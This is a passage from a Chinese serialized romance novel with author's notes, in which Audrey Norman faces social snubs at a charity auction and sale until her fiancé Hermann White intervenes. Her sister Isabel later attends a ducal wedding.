“我知道,莫尔太太。” “你既然知道,为什么……” “没关系。”奥黛丽打断她,微笑道,“布鲁森先生抗拒赫尔曼取代他,丽莎当然同样抗拒我轻松地进入她们的圈子。” “噢!谢特!”一个男仆端着托盘急哄哄冲了过来,脚底一滑,还好被一只白嫩的手紧紧抓住衣摆,堪堪保持平衡,“上帝啊,谢谢你女士,这瓶酒的价钱能买我的命!是你保住了它和我!” 男仆护着托盘里的白兰地连声道谢。 “快去吧!”奥黛丽大笑着摆手,继续对莫尔太太道,“所以,她只是想以这种方式警告赫尔曼罢了。” 莫尔太太神情复杂:“那你就任由她们欺负吗?” “我没有被欺负啊。”奥黛丽笑着看向莫尔太太,眼神真挚,她说,“她想看到我垂头丧气,可是我没有,她的欺负就不成立。” “这难道不是自我安慰吗?诺曼小姐。”莫尔太太轻笑,“软弱会招来更多的霸凌。” 奥黛丽怔住,忽然摇摇头,“你说的有道理,但……不全对。” 她想到,小时候也有人说过这句话。 “还有一段路,我给你讲个故事吧。” 她拎着裙子快活地向前,“很小的时候,我总是被邻居卢卡斯小姐捉弄。玩过家家,说好轮流演白雪公主,每次她都说话不算数,等我演完小矮人就说累了,不玩了!” “有一次,我伤心得哭了。我的姨妈就让我和卢卡斯小姐绝交,或是在下次强硬拒绝她,跟她大吵一架。”奥黛丽顿了顿,无奈笑道,“可是我做不到。当时,我姨妈就说了和你同样的话。” 记忆转回旧时光,奥黛丽还能想起那个垂头丧气的小奥蒂。 安娜姨妈恨铁不成钢,反复逼她硬气一点。 小奥蒂眼泪在眼眶打转,不敢抹眼睛,怕又被说软弱。 从五岁起,她就隐约明白,自己是个软弱的小孩,而这个世界似乎容不下内向柔和的“弱者”。 她明明很想改变,却怎么也做不到。 比如,小奥蒂天生不爱和人争吵,一旦吵架就会泪失禁,就算赢了心里也很难受;她还时常心软,凡事只看到好的一面,更不懂怎么拒绝别人。 她想学安娜姨妈的泼辣,学玛丽姨妈和姐姐的冷静智慧,却怎么也学不明白。 “后来呢?你怎么应对那位小邻居?”莫尔太太声音缓和。 奥黛丽笑道:“后来,我……” 她差点脱口而出姐姐,想换成妹妹,但一想到伊莎贝尔那双洞察人心的眼睛,就怎么也叫不出口,干脆胡诌。 “……我告诉老师,我的老师既没有让我去吵架,也没有让我绝交。她只是给我买了条新裙子,让女仆陪我玩。第二天,她问我,你现在还觉得难过吗?我扮了一天白雪公主,当然不难过了!我就说原谅卢卡斯小姐了,准备继续找她玩。” “然后呢,你老师怎么说?”莫尔太太听得入神。 奥黛丽笑了笑,回想起当时的画面,眉眼都带着笑。 那时,十三岁的少女伊莎贝尔说:“找她之前,你先回答我,为什么会感到难过?” 小奥蒂站在墙角,背着手罚站:“因为她要我扮演小矮人,不让我当白雪公主。” “如果你不当了小矮人,她还能当白雪公主吗?” 小奥蒂沉默:“……不能。” “所以是你们达成交易,但卢卡斯小姐单方面毁约,以此压榨你。所以你感到难过。” 小奥蒂想了想:“对!” “好,换过来想,她为什么知道可以压榨你,而不是别人呢?” 小奥蒂垂下头,含着一包眼泪:“……因为我很弱小。” 这个答案她再清楚不过了。 “不,奥蒂,抬起头,看着我。”伊莎贝尔蹲下身,直视着小奥蒂,目光柔和,“恰恰相反,因为你强大包容,拥有的比她多,她才会欺负你。” “姐姐,卢卡斯小姐的娃娃比我的多。”小奥蒂疑惑地挠头。 “可你大方、善良、乐于分享,总是慷慨地把娃娃送给你的朋友。这就是你比她富足的东西。”伊莎贝尔平静道,“你要明白,所有的欺负都是掠夺,没有人会掠夺贫瘠的土地。” 小奥蒂呆住,想了很久:“所以,如果有人欺负我,是因为我很富有。” “是的,你是很富有的小女士。” 小奥蒂又低下头:“可是,她下次还是会要求我演小矮人,我不知道怎么拒绝……” “那就进入到第二个问题了。”伊莎贝尔笑着摸了摸她的小卷毛,“没有卢卡斯小姐,你和艾米丽玩得开心吗?” 小奥蒂笑着点头:“开心!” 伊莎贝尔:“还需要和卢卡斯小姐玩吗?” 小奥蒂犹豫了片刻:“不需要了,但是……我是说,如果她愿意公平对待我,我就还和她玩。” “恭喜你,奥黛丽小姐,你已经充分明白了平衡需求的关系,所以不用开口拒绝,就能结束不公平的交易。” 小奥蒂:“平衡需求?” 伊莎贝尔温和解释:“人和人的相处,就像天平。只有平衡,才能延续。任何你感到委屈的时刻,都是因为天平歪了。对方想掠夺你的富饶。” “卢卡斯想要你当小矮人,庄上的小孩想哄骗你的零花钱,长大后,或许有人什么也不缺,就是想看你低头受辱。”伊莎贝尔看着小奥蒂,认真问,“你知道该怎么做吗?” 小奥蒂陷入思考,眼睛一亮:“我明白。她们想掠夺的,正是我所拥有的。我和谁都能过家家,卢卡斯如果想和我玩,就必须对我公平。零花钱攥在我手里,我想给谁就给谁。” 伊莎贝尔鼓励地看着她。 “如果有人什么都不要,就想看我低头受辱,我偏偏不照做。他们所谓的欺负就不成立。”小奥蒂挺起胸膛,很快,又懊丧,“可是……这都是我的自我安慰,实际上,欺负我的人没有受到任何惩罚。” 她沉默一会儿,忽然哽咽,水蓝色的眼睛看着伊莎贝尔:“姐姐,我很没用,我做不到反击。” 伊莎贝尔抱着她的小脑袋,任由她呜呜哭泣。 冰蓝色的眼睛倒映着哭花的脸,唇边带笑,“奥蒂,自我安慰这个词,听起来很刺耳。像失败者的懦弱对吗?” 小奥蒂哽咽点头:“嗯!” “但我想告诉你,这是很温和的保护。”伊莎贝尔说,“在这个世界上,有的人是矛,尖锐有锋芒,擅长攻击。有的人是盾,柔和坚韧,更喜欢防守。” “大部分的时候,我们都希望自己是手握武器的人,那样会有安全感。可是你试过了,你做不到,用长矛刺穿别人的时候,你也会感到疼痛。可这个世界告诉你,放下武器就是弱者,弱者会被别人的长矛刺穿,所以你感到害怕。但事实真的是这样吗?” 小奥蒂抽噎着,哭声却停住了。 伊莎贝尔给她擦眼泪,“奥蒂,仔细想想,在斗兽场中,一个只拥有矛和一个只拥有盾的人,受伤的会是谁?” “矛只能攻击,而盾却能防御一切。”奥蒂轻声回答。 “是的。”伊莎贝尔轻笑,“现在你明白了吗?你不用责怪自己。不想反击、不想拒绝、不想争吵,通通都没关系。你不用把自己变成矛,你只需要用我教你的方式,做一个不擅攻击,但能保护自己的盾。” 一直笼罩在心里的那层阴霾,似乎被姐姐轻轻吹散。 小奥蒂擦干眼泪,挤出笑容:“所以,我要做的就是加厚自己的盾!” “聪明的小女士!”伊莎贝尔站起身,牵着她出门,“善良很珍贵,它不代表软弱。所以你更要用理性的思考去保护它,保护你自己。” 小奥蒂举起桌边的托盘,仰头笑:“像举着盾牌那样!” “没错。” 一大一小牵着手走向花园里,夏日的金盏菊迎风摇曳。 …… 莫尔太太听完沉默许久,莞尔道:“你有一位很棒的老师。” “是的,因为那番话,从小到大,我都很快乐。”奥黛丽说,“丽莎想看我愤怒难过,可我来这里是为了做慈善,有什么好生气的呢?” 怕莫尔太太不相信,她笑着重复:“我真的不介意这些。” 奥黛丽拎着裙子,轻盈地越过一个又一个水坑,“你看,如果我们走正门,就玩不了这么有趣的游戏。” 厨房里,高帽子大厨正在做曲奇饼干,香味四溢。 奥黛丽顺手吃了一块,幸福得眼睛发亮,“也尝不到这么好吃的饼干!” “谢谢赞赏,可爱的女士!”大厨爽朗大笑,摘帽敬礼,看向莫尔太太,“您也来一块吗?” 饼干递到莫尔太太面前,她犹豫着接过,甜味在舌尖蔓延,口齿生香。 一瞬间,裙摆沾上的灰尘,似乎也不那么令人难以忍受。 —— 作者有话说:还有几章拍卖会情节过去后,就是公爵府了[狗头叼玫瑰] 奥黛丽:如果惹毛我,我就会毛茸茸地走开 粽宝存稿箱:7月21号上新书千字榜,因为特殊榜单,所以当天0点5分的更新挪到23点50分,之后还是老时间更新哈!相当于这天晚上跨天能等到两章!存稿箱会自动发布的!爱大家! 第26章 当奥黛丽和莫尔太太再次回到宴会厅, 拍卖会已经开始了。 丽莎坐在前排中央,各位太太一一按照名牌入座。 看见奥黛丽,丽莎状似惊讶,起身道:“我的天!诺曼小姐,你的裙子怎么脏成这样?” 莫尔皮笑肉不笑:“布鲁森小姐, 您明知故问。” “一定是我指路的时候没说清楚……”丽莎歉意一笑, 视线却明晃晃地落在奥黛丽的裙摆, “才让你们如此狼狈。” 众人的目光都聚焦在二人身上。 奥黛丽似乎对那些嘲弄的眼神恍若未觉,坦然笑道:“没关系,丽莎小姐, 请问我坐哪?” 丽莎招来管家:“带诺曼小姐和莫尔太太入座。” 管家面露难色, “丽莎小姐, 呃……全场位置都坐满了。” 他眼神往第一排左边的黑衣女人处飘, “除了洁希亚夫人身边,就只能往最后排加长椅了。” 丽莎立刻斥责管家,骂声全场都听见,引得众太太解围。 比奇太太摇着扇子笑:“丽莎,别怪老管家。拍卖会的位置都是有数的,加入得太仓促,许多麻烦总是难免,你说对吗?诺曼小姐。” 奥黛丽没回应, 只是对丽莎笑道:“我就坐最后一排,麻烦管家了。” 丽莎歉意颔首:“真是怠慢了,十分抱歉。” 莫尔太太冷哼一声,撇过头。 管家正要带路,斜刺里忽然传来声音。 “诺曼小姐,不介意的话, 请坐我身边。” 奥黛丽闻声看去,只见是一个戴着黑色蕾丝礼帽的女人,面孔三十来岁,烈焰红唇衬得肤色更为苍白。 她怔了怔,想起管家的话:“洁希亚夫人?” 洁希亚抬眸,声音低沉:“怎么?不愿和寡妇同坐?” “当然没有。”奥黛丽立刻摇头,径直坐了下去,笑道,“求之不得。” 又向莫尔太太招手:“莫尔太太,快来,洁希亚夫人这里还有个位置。” 两个人在洁希亚身边坐下,诸多视线流转在身后。 丽莎眸光划过冷意。 比奇太太低声嗤笑:“一个寡妇而已,和下三滥的暴发户抱团取暖,不值得你担心,丽莎。” “是的,我当然不担心。” 丽莎挺直脊背,示意主持人宣布开始。 最先公布的几样拍品,都来自于老钱家族的太太们。 主持人:“马洛德·大卫大师的古典主义油画《赫斯兰之夏》——” 比奇太太摇着扇子,半起身颔首致意。 “噢,马洛德大师的画作?”丽莎笑道,“比奇太太真是大手笔。” 比奇太太:“那也压不住伯爵夫人您的风头。” 加价牌持续好几轮,主持人最终敲定:“三千锡兰币,一次;三千锡兰币,两次;三千锡兰币……三次。成交!” 此后数件拍品,都是古董字画,少数是手工艺品,但也是奇珍异宝,一看就不是亲手制作而成。 轮到丽莎,她挥手吩咐两个男仆将一座铜鎏金边柜抬上来。 “这是由布鲁森小姐赠予的奥德利王朝古董家具,由黄檀木与蔷薇木镶嵌而成,搭配亲手调制的马丁漆,风格古朴大气,极具收藏价值,各位请出价。” 丽莎满意地听着耳边的奉承,拍卖价格水涨船高,今年的捐赠榜首注定还是布鲁森家族。 当拍卖锤落定那刻,丽莎看向右侧角落的奥黛丽——她神情专注地欣赏拍品,似乎没有任何紧张或不忿。 “呵。”丽莎冷笑一声,抬了抬下巴。 主持人接收示意,很快宣布:“下一件,来自怀特家族,诺曼小姐。” 一个大箱子被抬了上来,随着箱盖提起,精美的庄园模型映入眼帘。 莫尔太太眼睛瞪大:“诺曼小姐,你不是说拍品是亲手做的吗?” “这就是我亲手做的,莫尔太太。”奥黛丽诚恳点头。 比奇太太冷笑,瞥来视线,“别开玩笑了,诺曼小姐。奉劝你还是坦诚一点。” 庄园模型精美异常,就算是外行人也看得出它的建造难度。 奥黛丽眉头微皱:“我说的就是实话。是你们通知我需要手工艺品,所以我按照要求做了。你们不信,那是你们的事。” “好了,别再说了。”丽莎笑着打圆场,“就当是诺曼小姐自己做的,开始拍卖吧。” 比奇太太冷哼一声,偏过头去。 “就算是自己做的,又能怎么样?一件破烂的手工艺品,能比得过我们的拍品吗?” 果然,主持人报出起拍价,等了三分钟,迟迟没有人举牌。 沉默在大厅蔓延,几位太太暗对眼神,约定了要看男爵小姐的笑话。 主持人还在数:“倒数十秒,没有人出价,就要宣布流拍。” 主持人开始倒数,每一声都像是羞辱。 比奇太太嗤笑:“看到了吗?暴发户家也拿不出好东西,谁会拍下地摊上买来的破烂?还说自己做的,怕是只有外面贫民窟没见过世面的蠢货才相信。” “比奇太太,说话放尊重些!”莫尔太太脸色沉了下去。 比奇太太:“拍不出去是事实,诺曼小姐注定要在捐赠榜垫底。” “哦不。”她顿了顿,眼底满是嘲讽,“还有莫尔太太这位小跟班呢,你带来的又是哪个摊上的破烂?能给诺曼小姐垫底吗?” 莫尔太太气得发抖,立刻就要举牌,帮奥黛丽加价。 手却被按住。 “不用为我浪费钱,莫尔太太。”奥黛丽微笑道,“我希望你是因为真喜欢它才想拍下。” 莫尔太太:“可是……” 奥黛丽摇了摇头:“其他的都不重要。” 莫尔太太叹了口气:“好吧。” 主持人还在倒数,“三、二、一,我宣布,本件拍品……” “等等。” 忽然,一道声音响起,来自奥黛丽身边的黑衣女人,洁希亚夫人。 迎着众多目光,她缓缓举手:“这件拍品,我要了。” 众太太暗对神色,“她凑什么热闹?” 奥黛丽微怔:“洁希亚夫人,你……” “你说的话我听见了。”洁希亚冷静抬眸,“我真心喜欢这个模型,不是因为给你挽回颜面。你的颜面在我这里不值这个价。” 奥黛丽没有生气,反而笑道:“那可太好了,谢谢你,洁希亚夫人。” 洁希亚盯着她的笑脸,很快移开视线:“不客气。” 主持人宣布落锤,这让丽莎的计划落空。 众太太的脸色难看起来。 比奇太太冷笑:“别担心,丽莎,明天还有持续一天的义卖。到时候,谁的门前冷清,谁才是出丑的那个。” 丽莎手指微微攥紧,忍下怒意,微笑:“是的,你说得对,比奇太太。” “不过是拍出了一件小玩意儿。”丽莎缓缓看向身侧与洁希亚谈笑的奥黛丽,“战争还没结束呢。” - 回去的路上,莫尔太太担忧道:“诺曼小姐,明天还是别来了。今天你也看到了,她们为了给我们难堪,不惜破坏慈善拍卖的规矩。” “骗你说是手工艺,她们却拿出古董珍宝,这样拍出去的价格,怎么比得过?”莫尔太太又叹了口气,“明天义卖,还不知道要闹出什么诡计!” 奥黛丽掀开马车车帘:“我不跟她们比,能卖多少,都是我的心意。” “话虽如此,但这个捐赠榜是要登报的,到时候还不知道外面要怎么写你!”莫尔太太摇头。 听到这里,奥黛丽也叹了口气。 莫尔太太以为她想通了,忙问道:“怎么样?你想好放弃了吗?” 奥黛丽抬起头:“嗯?没有啊!” 她回过神,笑道:“我只是在想,如果卖得实在太少,我就只能自掏腰包捐钱了!所以才叹了口气。” “……”莫尔太太,“您别不当回事,外界的舆论也会影响你的未婚夫怀特先生。” 提到赫尔曼,奥黛丽倒认真地想了想,说道:“我觉得他不会介意。” 莫尔太太更无奈了。 经过几天的相处,她对奥黛丽从一开始的拘谨讨好,到现在的熟悉亲切,也是因为发觉对方是个天真烂漫的小姑娘。 和她女儿一般大的年纪,不通人情世故、更不懂婚姻和男人。 莫尔太太真心想教一教她,语重心长道:“诺曼小姐,做妻子的不能太过任性。他现在宠着你,是因为你年轻漂亮,等你老了,就没法恃宠而骄。你必须从现在开始懂事,要为他着想。” “他宠我?”奥黛丽一头雾水,茫然点头:“那……我应该对他挺好的。” 莫尔太太一看她就不懂,再次传授太太经:“光是心里好还不够。要知道,对付男人,你得嘴甜心狠,心里想什么不重要,行动上一定要展现你的关心和体贴。” 马车滚滚而去,莫尔太太越说越来劲。 “比如这次,回去以后你不能像现在这样,像个没事人。你得冲他抱怨,告诉他你受了多少委屈,而这一切都是为了维护怀特家族和他的声誉。” 奥黛丽听得目光呆滞:“……这……这样吗?” 莫尔太太得意抿唇:“诺曼小姐,别小瞧驯夫之术,要知道,我家的财政大权可归我掌管。” 奥黛丽投去敬佩的眼神。 “好,我明白了。” 深吸一口气,奥黛丽挺直脊背,仿佛要将驯夫之术吸进肺里。 莫尔太太满意点头:“这样你明天就可以不去了,既维护他的声誉,又能把麻烦交给他解决。” “嗯……”奥黛丽沉吟片刻,而后缓缓睁眼,语气轻快:“不行明天我还是得去!辛辛苦苦做的小摆件可不能浪费了,或许有几位慧眼识珠不惧强权的呢!” 说着,打开车门跑回家。 一边向后招手:“谢谢指教,莫尔太太!” 看着远去的背影,莫尔太太:“……唉,傻姑娘。” —— 作者有话说:奥黛丽:(吸入驯夫术)(伸手)我,你的太太,打钱,一百万! 赫尔曼:? 奥黛丽:莫尔太太骗我,一点儿也不管用。 (跑走) 赫尔曼:(签支票的手一顿) 第27章 晚餐时,赫尔曼总感觉有道视线落在脸上,抬头看,那人又躲开。 反复数次,赫尔曼放下刀叉,盯着奥黛丽:“诺曼小姐,说说看,你是烧了布鲁森家的房子,还是把丽莎·布鲁森的头按进水缸?否则我想不出有什么令你难以启齿。” 葛丽泰嗔他:“噢,赫利,你总是刻薄得不像话。” 奥黛丽反倒噗嗤笑出声,握着刀叉期待地看着他:“我想说,我明天还能再去参加义卖吗?怀特先生。” “腿长在你身上,只要你觉得今天坐的冷板凳不够凉,还可以继续。”赫尔曼瞥着她,“我更期待下次你用这种表情说话是因为火烧了布鲁森庄园。” 奥黛丽捂着嘴偷笑,又试探地问:“你能和我一起去吗?” 刀叉碰撞餐盘的声响一顿,赫尔曼沉默两秒,问:“为什么?我明天很忙。” 明天他要和市政签署协议,宣告布鲁森的失败。 虽然不用猜就知道, 未婚妻女士今天一定受了不少委屈,他以为她会知难而退, 然后在刚才用吞吞吐吐的表情说明天不想去,乖乖在家陪帕比·怀特玩。 第二天的晚餐时分, 他就能向她宣布,慈善协会领事头衔易主,由伊莎贝尔·诺曼替换丽莎·布鲁森,宣告怀特家族击溃自以为是的老钱们。 这样无论是她火烧了布鲁森家的房子, 还是把丽莎的头按进水缸,都是无伤大雅的小麻烦,反正他都能摆平。 但……没想到她会提出邀自己同去。 奥黛丽心里想着莫尔太太的驯夫术,自觉可以用到这个时候。 她眼珠转了转,蓝眼睛含着水雾,抬头就换了委屈脸:“怀特先生,我今天很可怜,如果不是好心的洁希亚夫人帮我解围,我的捐献额就是零蛋。到时候登上报纸,就要连累你和我一起丢脸。” “你知道的,《锡兰太阳报》《北方报》的编辑们向来嘴毒,我们会被三百六十度无死角挖出黑料,连我小时候天天贴着胡子扮演小矮人的糗事都会传遍锡兰,我们就是绑在耻辱柱上被反复鞭挞的怀特夫妇!” “所以呢?”赫尔曼眼神平静,打断她的表演。 “所以你明天和我一起去义卖,如果他们不买我的东西,那你买就好啦!”奥黛丽理所当然地算计他的钱包,“到时候我们钱也捐了,慈善榜也不用垫底了,怀特家的名声也保住了!多么完美的计划!任何善心人都会同意的对不对!” “噗嗤!”这次是葛丽泰女士笑出声。 见未婚夫妇同时看向自己,葛丽泰忙摆手,举起餐盘挡住自己的脸,笑得肩膀一抖一抖。 奥黛丽回过头看向赫尔曼,目光灼灼,“你觉得怎么样?怀特先生。” 她信心满满,这番话说得滴水不漏! 又嘴甜,又为家庭着想,还瞒住了想花他钱的想法! 本来嘛!奥黛丽不在意东西卖不卖得出去,到时候自掏腰包就好,反正都是做慈善。 可是回来一算,她上次的钱都花在了手工材料的购买上,别看最后的模型不大,找工匠做配件都得不小的开支呢! 十万块已经投资给卡洛琳了,姐姐的钱她不想动,看着瘪瘪的钱包,这个数字估计还是得在捐赠榜上垫底。 花了钱还保不住名声,奥黛丽更舍不得了! 想起莫尔太太的话,奥黛丽做了一晚上心理建设。 花自己的和花未婚夫的有什么区别? !都是他的钱啊!而且她又不是花在自己身上! 拜托!设计师诺曼小姐忙前忙后可都是为了怀特家的好名声呢! ……虽然也满足了自己的手工欲和做好事的善心但这不重要! 没钱了再向他要,和直接拉他去花钱,有什么分别? ! 对!就是这么回事! 奥黛丽盯着赫尔曼,再次委屈脸,拉长声音:“你就跟我去吧,好不好?不然我明天会更丢脸的——”以前央求妈妈给零花钱,这一招百试百灵! 迎着期待的目光,赫尔曼看着奥黛丽。 未婚妻女士有点像被邻居欺负的小孩,花言巧语想找大人帮她撑腰。 眼底滑过笑意,但很快隐去。 他缓缓吐出一个音节:“不好。” 奥黛丽立刻垮脸,闷头吃饭! “……”赫尔曼:“我明天上午有事。” “那下午呢!”奥黛丽眼睛又亮了。 赫尔曼瞥她:“下午会光临你的小摊,至少别让吝啬夫妇成为报纸头条。” “噢!太棒了!怀特先生!”奥黛丽高兴地举起红酒杯,“为我们的好名声干杯!” 玻璃杯里荡漾着红色液体,戴着丝质手套的左手托起酒杯,不情不愿地和她碰了碰。 葛丽泰女士笑着加入其中:“为明天干杯!” 赫尔曼嗤笑:“为保住诺曼小姐的钱包干杯。” 奥黛丽抿了口酒,埋头吃菜,假装没听见,耳朵却红了- 有了赫尔曼的保证,第二天的义卖,奥黛丽的小摊前门可罗雀,但脸不红,心不跳,一副胸有成竹的模样。 小宴会厅里,各家太太们的摊子琳琅满目,有些由女仆看着,主人则相邀着逛其他的小摊。 丽莎·布鲁森照样盛装出席,身边跟着比奇太太。 “男爵家的小姐天然有不服输的勇气。”比奇太太摇着蕾丝刺绣羽毛扇,在丽莎耳边轻笑,“看看,她又带着一堆破烂来了。” 丽莎顺着她的视线望去。 角落的小摊边,奥黛丽戴着工作手套,认真摆放物品并标注好价格:小桥梁三锡兰币、库珀夫人亲手做的羊绒抱枕六锡兰币…… 对于豪门阔太来说,这些小摆件很便宜,但她们看丽莎的眼色行事。即便有些兴趣,也不敢驻足。 奥黛丽并不因此感到沮丧,反倒为每一位路过的客人细心介绍。 丽莎观察了好一会儿,才扬起笑容走过去。 “丽莎小姐,想看点什么?”奥黛丽笑道。 丽莎随意拿起抱枕看了看,撩开眼皮轻笑:“没什么,就是想劝诺曼小姐早点回家吧,别累坏了身体,到头来却一分银币都没赚到。” 奥黛丽笑容不变:“你就知道我一定卖不出去吗?” 丽莎轻轻挑眉,似乎察觉今天的男爵小姐格外有底气。 “那我拭目以待。” 她轻笑着和比奇太太离开,视线却仍然流连在奥黛丽的小摊。 奥黛丽看了眼座钟,下午两点,快到了赫尔曼约定过来的时间。 突然,摊位被人敲了敲。 “你好,把这个给我包起来。” 奥黛丽惊喜回头,对上黑衣女人的冷漠的脸。 “洁希亚夫人?!” 洁希亚的到来再次吸引诸多视线,她浑然不顾,只拿着小桥梁看了看,扔进编织筐里,“很精美的小东西,多少钱?” “三块,承蒙惠顾!”奥黛丽高兴地帮她打包,迎来今天第一单。 不远处,刚放完狠话就被打脸的丽莎,脸色难看至极。 比奇太太轻蔑道:“以前怎么没看见赫斯兰寡妇这么爱凑热闹?” 丽莎冷笑:“不着急,空有头衔的侯爵夫人罢了,等爷爷收拾完怀特家再说。” 比奇太太眸光微动,“布鲁森先生真的有把握吗?听说那个埃尔美暴发户可不是好对付的角色。” “比奇太太。”丽莎盯着她,一字一顿,“布鲁森家族从百年前就是肯特郡的领头羊,假如你不信任,那么现在就可以离开。” 一旦离开,圈子的大门就彻底向她关闭。 比奇太太脸色僵住:“不……丽莎小姐,我只是随口说说。” 周围众太太们都垂下头,有的心里越发质疑布鲁森,有的则开始打圆场。 丽莎环顾四周,冷哼一声,再次走向奥黛丽。 像是为了给大家证明什么,她不再伪装和善,脸上挂着讥讽的笑,“诺曼小姐,但愿你明白,洁希亚夫人就算买下整个摊位,也不能让你真正加入我们。” 奥黛丽不明所以,回过头看她。 丽莎迎着洁希亚冰冷的眼神,再次看向奥黛丽:“这个圈子的话语权,始终掌握在我的手里,如果布鲁森小姐不点头,谁也不敢接纳你,我保证。” 话音落下,场面气氛陡然凝滞。 奥黛丽其实不明白丽莎为什么突然发作,她本能地想反驳,却有一道声音先于她出现。 “大话说太早,总是引人耻笑。我以为布鲁森小姐应该明白这一点。” 众人循声望去。 银质手杖敲击地面,身量颀长的男人缓缓而来,一头标志性的银发已然昭告所有人,他的身份。 身后脚步声整齐而有力,以查尔斯为首的助理团队一齐进入小小的宴会厅。 丽莎愣住,很快反应过来,冷笑:“怀特先生?你怎么会在这里?别告诉我,你为了给未婚妻出头,不惜放下和布鲁森家族的谈判会!” 不等他回答,丽莎笑容更盛:“我明白了,你提前投降了。如果是这样,尽管去买下诺曼小姐的小摊,这将是怀特这个姓氏第一次,也是最后一次出现在慈善捐赠榜上。毕竟,我愿意给予失败者包容心。” “说得很好,给予失败者包容心。” 赫尔曼闲庭信步,走到呆若木鸡的未婚妻身旁,从钱包里掏出支票,“买下所有东西,可以成交吗女士?” 奥黛丽慢半拍,接过支票看了一串零,瞪大眼睛。 “怎么这么多!”她压低声音,“慈善协会要扣手续费的,白进布鲁森家的腰包了!快换一张!” 赫尔曼按住她的手,“从今天开始,慈善协会的领事换人了。” “什么?!” 众太太哗然。 丽莎猛然抬眸,冷笑:“怀特先生,蛋糕可以乱吃,话不能乱说。” 赫尔曼平静回头:“那我再说清楚,从今天开始,理查德·布鲁森不再是肯特郡商会行首,你,丽莎·布鲁森,该从这里出去了。” 一瞬间,丽莎脸色惨白,疾言厉色:“不可能!你在骗我!爷爷不可能失败!” 比奇太太下意识想搀扶摇摇欲坠的丽莎,却在下一刻瞥见赫尔曼冰冷的眼神,缩回伸出去的手。 丽莎从怀疑到不可置信,在即将歇斯底里的时刻,她看见赫尔曼身后……颓丧的理查德·布鲁森。 意气风发的老头仿佛被吸干所有斗志,头发花白,眼神灰败,暮气沉沉的神情像是在告诉孙女:我们已经输了。 日薄西山的布鲁森家族,败给了初升朝阳。 那一刻,确认了结果的太太们脸色剧变。 悄悄往外报信的仆人一拨又一拨,纷纷在传递一个消息:锡兰公国的财富中心,变天了。 丽莎失去所有力气,滑到在地。 最后一刻,她的视线里只剩下远去的一双背影。 银头发先生冷傲向前,被她嘲讽过的女士却往后看了一眼,水蓝色的眼睛里意味不明。 是嘲讽吗?一定是的。 丽莎心想,她从来不会真的给予失败者同情。 这是任何上位者都要具备的残忍。 可惜这一次,输的是他们布鲁森。 不,不! 她紧攥着手指。 他们没有输得彻底! 她可是布伦瑞克伯爵夫人! 现在仅仅只是理查德·布鲁森失去行首位置,为新家族让步罢了! 她还有东山再起的机会! 第28章 “所以,布鲁森家彻底破产了吗?” 回去的路上,奥黛丽懵懂地问。 赫尔曼:“盘踞百年的古树没有那么容易连根拔起。” 奥黛丽似懂非懂,很快就把它抛在脑后,开始畅想自己当了慈善协会领事要怎么大展拳脚。 前进的马车里,耳边是叽叽喳喳的说话声,赫尔曼闭目养神,手掌摩挲着银质手杖。 他当然没必要向未婚妻女士解释太多。 从埃尔美漂洋过海来到锡兰公国, 肯特郡乃至北方以哈登菲尔德为首的工业区域,都只是他的第一步。 老布鲁森在商人阶层里已经登顶,赫尔曼·怀特取而代之,却不会止步于此。毕竟,理查德只是输了一场至关重要的战役,丢了“行首”的头衔,却不意味着整个家族彻底垮塌。 接下来的对手,也会随着他的前进而出现。 深灰色的眼睛看向窗外,远处工厂烟囱冒出浓浓的黑烟,机器的轰鸣声裹挟着巨大的财富,在历史的浪潮里滚滚前行。 玻璃窗里倒映着奥黛丽的脸,金发姑娘的蓝眼睛像未被污染的天空,纯澈如初。 她看见的是乌黑土壤里残存的野草,破土而生, 绿意盎然。任何时候都充满希望。 她想,要记得给姐姐寄信。 接下来,温斯顿即将迎来一场婚礼。 奥黛丽满怀憧憬,笑意盈盈地看着窗外。 - 来自肯特郡的信件已经躺在书桌上,但伊莎贝尔没有时间。 此刻,斯宾塞公爵府众人整装待发,准备前往首都墨伦维克,参加王室公爵的婚礼。 薇奥莱特老夫人一早就告知不便出行,留在家中筹备婚礼,派女仆埃莉诺陪伴第一次出席重要场合的伊莎贝尔。 同车出发的还有路易莎。 两人一见面,路易莎便把头偏向窗外。 伊莎贝尔不甚在意,径自与埃莉诺交谈。 忠诚的女仆有问必答:“这次举办婚礼的是约克公爵,女王的侄子,菲利普·奥古斯特。他的身份注定了受邀宾客非富即贵,交际晚宴时我会慢慢向你介绍。” 伊莎贝尔微笑:“有劳。” 实际上,田螺先生赠送的“查尔维斯八卦大全”里内容详尽,她对公爵府复杂的关系网有了初步了解。只是还需要埃莉诺从旁辅助,以便对号入座。 汉克郡本身地处王国中心,离首都城市区不远。 下午两点,飘扬着狮子旭日旗的斯宾塞车队到达圣威斯福特教堂。 埃莉诺没有资格进入,与各家仆人一起去了休息区。 伊莎贝尔与路易莎相携下车。 “如果不想明天就传出斯宾塞公爵府妯娌不合,那么你现在就老老实实地跟我走。” 伊莎贝尔一面微笑地向往来贵妇颔首,一面淡定警告路易莎。 路易莎佩服她谁也不认识但还能打招呼的本事,咬牙切齿道:“从今往后,代表斯宾塞抛头露脸的是你,跟我有什么关系?” 虽然嘴上这么说,当迎面走来相熟的贵妇,路易莎还是立刻扬起笑脸。等人过去,才立刻垮下来。 “是吗?你忘了自己还代表霍华德侯爵府?”伊莎贝尔神态自若,挽着路易莎缓缓走进教堂。 作为选帝侯家族,斯宾塞的位置很靠前。 伊莎贝尔入座时,右侧的位置坐了一位身穿香槟色礼服的女人。 路易莎笑着颔首:“索菲娅姑妈。” 女人抬眸,露出一张极具斯宾塞特色的脸——乌发雪肤,黑眉红唇,瞳孔黝黑深邃,年龄没有丝毫影响她的魅力,反倒令这张脸越发美艳不可方物。 “路易莎,好久不见,亲爱的。”索菲娅轻贴路易莎的脸颊,又看向伊莎贝尔,眸光温和,“这位美丽的蓝眼睛女士,就是海因里希的未婚妻,诺曼小姐?” 伊莎贝尔微笑颔首:“索菲娅姑妈,幸会。” 索菲娅轻笑,漫不经心道:“恐怕薇奥莱特并不庆幸你与我相会。” 说着环顾四周,没看见老太太的身影,“果然,连我女儿的婚礼都无法邀请她赏光。” 伊莎贝尔笑着垂眸,“薇奥莱特夫人身体抱恙,托我与路易莎为这场盛世婚礼送祝福。她老人家还说要我们务必向她转述婚礼盛况。” 索菲娅眼眸含笑,似乎没把奉承放在心上。 伊莎贝尔从容坐下,也不试图刻意攀谈。 早在来之前,埃莉诺就已经科普过这桩婚礼的特殊性。 身为女王的亲侄子兼七大选帝侯之一,约克公爵菲利普·奥古斯特迎娶的妻子也是名门闺秀。 她出身于布伦瑞克伯爵府,不仅是首都有名的美人,还带着巨额财产出嫁。 